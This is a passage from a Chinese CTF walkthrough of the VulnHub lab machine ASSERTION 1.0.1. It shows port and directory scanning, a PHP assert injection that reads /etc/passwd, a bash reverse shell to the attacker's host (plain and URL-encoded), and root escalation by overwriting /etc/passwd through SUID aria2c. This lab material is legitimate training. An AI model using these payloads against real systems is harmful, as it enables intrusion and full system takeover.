vulnhub - ASSERTION1.0.1

vulnhub - ASSERTION 1.0.1

信息收集

nmap -sT --min-rate 10000 -p- 192.168.157.171
sudo nmap -sT -sV -sC -O -p22,80 192.168.157.171

image-20240626110759174

只开放了ssh和http,那就先从web入手

目录扫描

sudo gobuster dir -u 192.168.157.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20240626111649671

看了一下没什么可用信息。。

本地文件包含

点击网页到处看看发现参数是http://192.168.157.171/index.php?page=

image-20240626111900634

目录穿越失败,但看错误提示应该是有防护,测试了一下应该是对..进行了过滤

翻阅 https://github.com/HackTricks-wiki/hacktricks/blob/master/pentesting-web/file-inclusion/README.md

image-20240626112632363

使用' and die(highlight_file('/etc/passwd')) or '成功读取

image-20240626112734528

尝试命令执行,打一个反弹shell

' and die(system('bash -c  "exec bash -i >& /dev/tcp/192.168.157.161/9999 0>&1"')) or '
需要URL编码
%27%20and%20die%28system%28%27bash%20%2Dc%20%20%22exec%20bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E157%2E161%2F9999%200%3E%261%22%27%29%29%20or%20%27

image-20240626123452165

查找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null

image-20240626124323535

aria2c提权

aria2c是下载文件的程序,可以尝试用于覆盖 /etc/passwd

将 /etc/passwd 保存到 kali上,生成一个具有root权限的用户

openssl passwd -1 -salt hacker 123456
$1$hacker$6luIRwdGpBvXdP.GMwcZp/
修改为如下格式
hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash

存入刚才保存到kali的passwd内

image-20240626130259636

本地开启http服务

python3 -m http.server

让目标靶机下载修改好的passwd并覆盖的passwd

aria2c --on-download-error=$TF http://192.168.157.161:8000/passwd --allow-overwrite=true

image-20240626130133300

root@assertion:~# cat root.txt
cat root.txt
8efabdae07730bdcb14d83e37a2e7398
posted @ 2024-06-26 13:11  Mar10  阅读(3)  评论(0编辑  收藏  举报